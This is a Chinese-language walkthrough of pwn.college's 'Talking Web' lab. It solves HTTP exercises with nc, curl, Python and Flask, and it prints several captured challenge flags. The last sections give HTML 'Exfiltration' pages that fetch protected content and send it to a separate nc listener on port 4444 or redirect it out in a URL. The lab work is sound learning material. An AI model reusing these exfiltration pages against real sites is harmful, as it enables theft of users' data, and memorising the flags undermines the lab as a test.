是的,没错。手写http header才是你学Web应该做的第一件事。而不是上来就Burpsuite。$_$
Talking Web 1. Your First HTTP Request 用GUI打开,然后命令行运行/challenge/server
,最后浏览器打开网页,即可获得flag
2. Reading Flask 访问http://challenge.localhost/access
查看源码,发现在注释中存在flag。随后,F12查看页面源码就行了。
查看源码,路径为/fulfill
,F12打开开发者模式,然后在Network中,找到fulfill这一项,点击后在右边找到Header,其中X-FLAG字段就是flag
5. HTTP (netcat) 1 2 3 4 5 6 7 8 9 10 11 12 hacker @talking-web~http-netcat:~/Desktop$ nc challenge.localhost 80 GET / HTTP/1 .1 HTTP /1 .1 200 OKServer : Werkzeug/3 .0 .6 Python/3 .8 .10 Date : Sun, 02 Mar 2025 12 :59 :11 GMTContent -Type: text/html; charset=utf-8 Content -Length: 84 X -Flag: pwn.college{YrqEpNPZzcBDnBQkJiogkaSfKN0.dljNyMDLxYTN1YzW}Connection : close<html> <head> <title> Talking Web</title></head><body><h1>Great job!</h1></body></html>
思路就是,使用nc命令,获取网页信息。并且使用GET请求,随后接收到响应。响应中存在flag。
记住,输入两次回车,才是结束本次请求。
6. HTTP Paths (netcat) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 hacker @talking-web~http-paths-netcat:~/Desktop$ nc challenge.localhost 80 GET /hack HTTP/1 .1 HTTP /1 .1 200 OKServer : Werkzeug/3 .0 .6 Python/3 .8 .10 Date : Sun, 02 Mar 2025 13 :04 :48 GMTContent -Type: text/html; charset=utf-8 Content -Length: 243 Connection : close <html> <head> <title> Talking Web</title></head> <body> <h1> Great job!</h1> <!-- TOP SECRET: <p> pwn .college{s97BHDSXwCrre5GEUP0gFK5CKc_.dVzNyMDLxYTN1YzW}</p> --> </body> </html>
多了一个路径而已。
7. HTTP (curl) curl
是一个强大的命令行工具,用于与服务器进行数据传输。它支持多种协议。
常用选项
选项
描述
-X
或 --request
指定 HTTP 请求方法(如 GET、POST、PUT、DELETE)。
-H
或 --header
添加 HTTP 请求头。
-d
或 --data
发送 POST 请求的数据(表单数据)。
-F
或 --form
发送文件或表单数据(用于文件上传)。
-o
或 --output
将输出保存到文件。
-O
将输出保存为文件名(从 URL 中提取文件名)。
-i
或 --include
显示响应头信息。
-I
或 --head
仅显示响应头信息(HEAD 请求)。
-u
或 --user
指定用户名和密码(用于认证)。
-v
或 --verbose
显示详细请求和响应信息。
-L
或 --location
自动跟随重定向。
-k
或 --insecure
忽略 SSL 证书验证。
-s
或 --silent
静默模式,不显示进度和错误信息。
-A
或 --user-agent
设置 User-Agent 请求头。
这题很简单了,直接curl就好了。
1 2 3 4 5 6 7 8 9 10 hacker@talking-web~http-curl:~/Desktop$ curl challenge .localhost/pwn <html > <head > <title > Talking Web</title > </head > <body > <h1 > Great job!</h1 > <p > pwn.college {UNlBBwS-NwpLJYdlVPpEoojvICd.dRzNyMDLxYTN1YzW} </p > </body > </html >
8. HTTP (python) 1 2 3 4 5 6 7 8 import requests url = "http://challenge.localhost/verify" response = requests.get(url)if response.status_code == 200 : print (response.text)
用python的requests模块,写个get请求即可。
1 2 3 4 5 6 7 8 9 10 import requests url = "http://challenge.localhost/submission" headers = { "Host" : "ctflearn.com:80" } response = requests.get(url, headers=headers)if response.status_code == 200 : print (response.text)
查一查curl的用法即可。
1 curl -H "Host: overthewire.org:80" challenge.localhost/progress
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 hacker@talking-web~http-host-header-netcat:~/Desktop$ nc -v challenge.localhost 80 Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded! GET /hack HTTP/1.1 Host: gandalf.lakera.ai:80 HTTP/1.1 200 OK Server: Werkzeug/3.0.6 Python/3.8.10 Date: Sun, 02 Mar 2025 13:36:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 222 Connection: close <html> <head ><title>Talking Web</title></head> <body> <h1>Great job!</h1> <p>pwn.college{IpeiHFr8AbndI-uKFGS8WxMBKHR.dJzNyMDLxYTN1YzW}</p> </body> </html>
12. URL Encoding (netcat) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 hacker@talking-web~url-encoding-netcat:~/Desktop$ nc -v challenge.localhost 80 Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded! GET /entry%20mission%20verify HTTP/1.1 Host: challenge.localhost:80 HTTP/1.1 200 OK Server: Werkzeug/3.0.6 Python/3.8.10 Date: Sun, 02 Mar 2025 13:42:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 222 Connection: close <html> <head ><title>Talking Web</title></head> <body> <h1>Great job!</h1> <p>pwn.college{gJwS5WKPnVX7YX3P2lEwKq0xpc3.dlzNyMDLxYTN1YzW}</p> </body> </html>
编码,空格在url编码中是%20
,因此,在nc命令中使用%20
代替即可。
13. HTTP GET Parameters 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests url = "http://challenge.localhost/submit" params = { "unlock" : "ufxxiiik" } headers = { "Host" : "challenge.localhost:80" } response = requests.get(url, headers=headers, params=params)if response.status_code == 200 : print (response.text)
加GET请求的参数。
14. Multiple HTTP parameters (netcat) 1 2 3 4 hacker@talking-web~multiple-http-parameters-netcat:~/Desktop$ nc -v challenge.localhost 80 Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded! GET /pass?security=kifydwjj&auth_key=mbdncplm&keycode=zuqfwurr HTTP/1.1 Host: challenge.localhost:80
用nc命令,构造一个GET请求即可。
15. Multiple HTTP parameters(curl) 1 hacker@talking-web~multiple-http-parameters-curl:~/Desktop$ curl -H "Host: challenge.localhost:80" "http://challenge.localhost/authenticate?hash=jzsfndeg&auth_pass=erdsycur&access_code=sxobnyrn"
用双引号包括域名,使得&
被用作参数连接符。
这关本来是直接打开浏览器访问提交表单就能拿到flag,但是那个太卡了,所以这里也用的python来发送Post请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests url = "http://challenge.localhost/request" data = { "verify" : "mbobcxum" } headers = { "Host" : "challenge.localhost:80" , "User-Agent" : "Firefox" } response = requests.post(url, headers=headers, data=data)if response.status_code == 200 : print (response.text)
这里需要加User-Agent
字段,是因为题目会检测是否采用的是Firefox打开。
1 hacker@talking-web~http-forms-curl:~/Desktop$ curl -X POST -d "keycode=xqwrvyfd" -H "Host: challenge.localhost:80" http://challenge.localhost/meet
1 2 3 4 5 6 7 8 9 hacker@talking-web~http-forms-netcat:~/Desktop$ nc -v challenge.localhost 80 Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded! POST /check HTTP/1.1 Host: challenge.localhost:80 Content-Type: application/x-www-form-urlencoded Content-Length: 22 private%5Fkey=bxildsjt HTTP/1.1 200 OK
这里有一个很坑的点,必须得有Content-Length
字段,且有这个字段后,就可以回车再回车。此时接收表单数据。再进行url编码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests url = "http://challenge.localhost/progress" data = { "code" : "cboboidk" } headers = { "Host" : "challenge.localhost:80" , "User-Agent" : "Firefox/2.0.0.11" } response = requests.post(url, headers=headers, data=data)if response.status_code == 200 : print (response.text)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests url = "http://challenge.localhost/verify" data = { "auth_key" : "hhyrdgcr" } headers = { "Host" : "challenge.localhost:80" , "User-Agent" : "Firefox/2.0.0.11" } response = requests.post(url, headers=headers, data=data)if response.status_code == 200 : print (response.text)
1 hacker@talking-web~multiple-form-fields-curl:~/Desktop$ curl -X POST -d "private_key=iqzryxmm&secret_key=ufaeulmp&secure_key=fgynzsij" -H "Host: challenge.localhost:80" http://challenge.localhost/qualify
1 2 3 4 5 6 7 8 hacker@talking-web~multiple-form-fields-netcat:~/Desktop$ nc -v challenge.localhost 80 Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded! POST /submission HTTP/1.1 Host: challenge.localhost:80 Content-Type: application/x-www-form-urlencoded Content-Length: 70 authcode=gzevumwe&password=zcfrbrpt&verify=wpbxshiv&signature=ktkceqld
同理,参数也用&
连接即可。
23. HTTP Redirects (netcat) 重定向,首先先发送正常的请求。
1 2 3 4 hacker@talking-web~http-redirects-netcat:~/Desktop$ nc -v challenge.localhost 80 Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded! GET / HTTP/1.1 Host: challenge.localhost:80
发现返回数据中,有重定向的paths,那么再用nc发送这个paths的请求
1 2 3 4 hacker@talking-web~http-redirects-netcat:~/Desktop$ nc -v challenge.localhost 80 Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded! GET /eFsriunp-hack HTTP/1.1 Host: challenge.localhost:80
24. HTTP Redirects (curl) 同理,用curl两次即可。
25. HTTP Redirects (python) 1 2 3 4 5 6 7 8 9 10 import requests url = "http://challenge.localhost" headers = { "Host" : "challenge.localhost:80" } response = requests.get(url, headers=headers)if response.status_code == 200 : print (response.text)
python的requests模块能够自动跟踪重定向的网页,因此发送简单的GET请求即可。
26. HTTP Cookies (curl)
Make an HTTP request to 127.0.0.1 on port 80 to get the flag. Make any HTTP request, and the server will ask you to set a cookie. Make another request with that cookie to get the flag.
提示得很清楚了,先随便发送一个请求,然后设置cookie,随后发送另一个请求拿到flag。
可以使用curl -L -v challenge.localhost
来自动跟踪重定向
第一次是为了拿到cookie,命令为curl -L -v 127.0.0.1:80
,随后再curl一次,用-b
参数携带cookie。然后就能获得flag
1 hacker@talking-web~http-cookies-curl:~/Desktop$ curl -L -v -b "cookie=3bfab8c85fbf73872c0b0a6956fc4620" 127.0.0.1:80
27. HTTP Cookies (netcat) 1 2 3 4 hacker@talking-web~http-cookies-netcat:~/Desktop$ nc -v 127.0.01 80 Connection to 127.0.01 80 port [tcp/http] succeeded! GET / HTTP/1.1 Cookie: cookie=38c5a3fa82c7a07c9acd13244c494a59
28. HTTP Cookies (python) 1 2 3 4 5 6 7 8 import requests url = "http://127.0.0.1:80" response = requests.get(url)if response.status_code == 200 : print (response.text)
29. Server State (python) 1 2 3 4 5 6 import requests url = "http://127.0.0.1:80" response = requests.get(url)print (response.text)
得益于,requests模块的get请求会自动跟踪重定向,因此执行一次脚本发现302重定向,会自动跟踪。则自动发送了4个请求,达到题目要求,获得flag。
30. Listening Web 把第一关的Server代码copy到这儿,然后修改端口并运行即可。
1 2 3 4 5 6 7 import flaskimport os app = flask.Flask(__name__) app.secret_key = os.urandom(8 ) app.run("challenge.localhost" , 1337 )
31. Speaking Redirects 写Server端的重定向即可。
1 2 3 4 5 6 7 8 9 10 11 import flaskimport os app = flask.Flask(__name__)@app.route("/" , methods=["GET" ] ) def redirector (): return flask.redirect(f"http://challenge.localhost:80/submission" ) app.secret_key = os.urandom(8 ) app.run("localhost" , 1337 )
32. JavaScript Redirects 写一个JavaScript代码,放在/home/hacker/public_html/solve.html
中即可。
1 2 3 4 5 6 7 8 9 10 <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Redirecting...</title > <script type ="text/javascript" > window .location .href = "http://challenge.localhost:80/request" ; </script > </head > </html >
33. Including JavaScript 这道题的思路是,首先客户端请求solve.html
,我们在其中写入javascript脚本,让其访问服务器指定paths的javascript脚本并执行,随后将该执行结果重定向到某个能看到的地方即可。
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html > <html > <head > <title > Exfiltration</title > <script src ="http://challenge.localhost/mission" > </script > <script > window .location = "http://challenge.localhost:80/?flag=" + flag; </script > </head > <body > </body > </html >
javascript中的src属性:
当JavaScript的<scirpt>
标签的src属性指定一个URL时,浏览器会发送一个HTTP GET请求到指定的URL,请求相应资源。获取资源(一般是javascript文件)后会下载JavaScript文件,解析并执行其中的JavaScript代码。
34. HTTP (javascript) 这道题真坑哇,这和那个CORS没关系。也不需要启动浏览器调试,也调试不了。得开practice模式调试。思路就是,直接使用fetch目标,然后对拿到的data做处理,让它发送给一个其他服务器就好了。我用的是nc -l 4444,监听4444端口。然后那边用POST提交数据就OK了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <!DOCTYPE html > <html > <head > <title > Exfiltration</title > <script > fetch ('http://challenge.localhost:80/task' ) .then (response => { if (!response.ok ){ throw new Error ('Network response was not ok' ); } return response.text (); }) .then (website_content => { console .log ("Content received from challenge.localhost:80:" , website_content); fetch ("http://localhost:4444/" , { method : 'POST' , headers :{ 'Content-Type' : 'text/plain' , }, body : website_content, }) }) .catch (error => console .error ('Error:' , error)); </script > </head > <body > </body > </html >
35. HTTP Get Parameters (javascript) 加参数而已,只需要在fetch里直接加。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <!DOCTYPE html > <html > <head > <title > Exfiltration</title > <script > fetch ('http://challenge.localhost:80/complete?challenge_key=vjcopwsk&secure_key=zqzbftms&auth=yzcibfla' ) .then (response => { if (!response.ok ){ throw new Error ('Network response was not ok' ); } return response.text (); }) .then (website_content => { console .log ("Content received from challenge.localhost:80:" , website_content); fetch ("http://localhost:4444/" , { method : 'POST' , headers :{ 'Content-Type' : 'text/plain' , }, body : website_content, }) }) .catch (error => console .error ('Error:' , error)); </script > </head > <body > </body > </html >
查一下,fetch如何发送POST请求时加参数就好了。思路清晰后,就是语法的问题,AI的出现让这些问题都不是问题。所以重要的是思路。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <!DOCTYPE html > <html > <head > <title > Exfiltration</title > <script > const params = new URLSearchParams (); params.append ('auth_pass' ,'hvapqzli' ); params.append ('solution' , 'kmdajdmm' ); params.append ('security_token' , 'zprqxfbr' ); fetch ('http://challenge.localhost:80/submission' ,{ method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , }, body : params, }) .then (response => { if (!response.ok ){ throw new Error ('Network response was not ok' ); } return response.text (); }) .then (website_content => { console .log ("Content received from challenge.localhost:80:" , website_content); fetch ("http://localhost:4444/" , { method : 'POST' , headers :{ 'Content-Type' : 'text/plain' , }, body : website_content, }) }) .catch (error => console .error ('Error:' , error)); </script > </head > <body > </body > </html >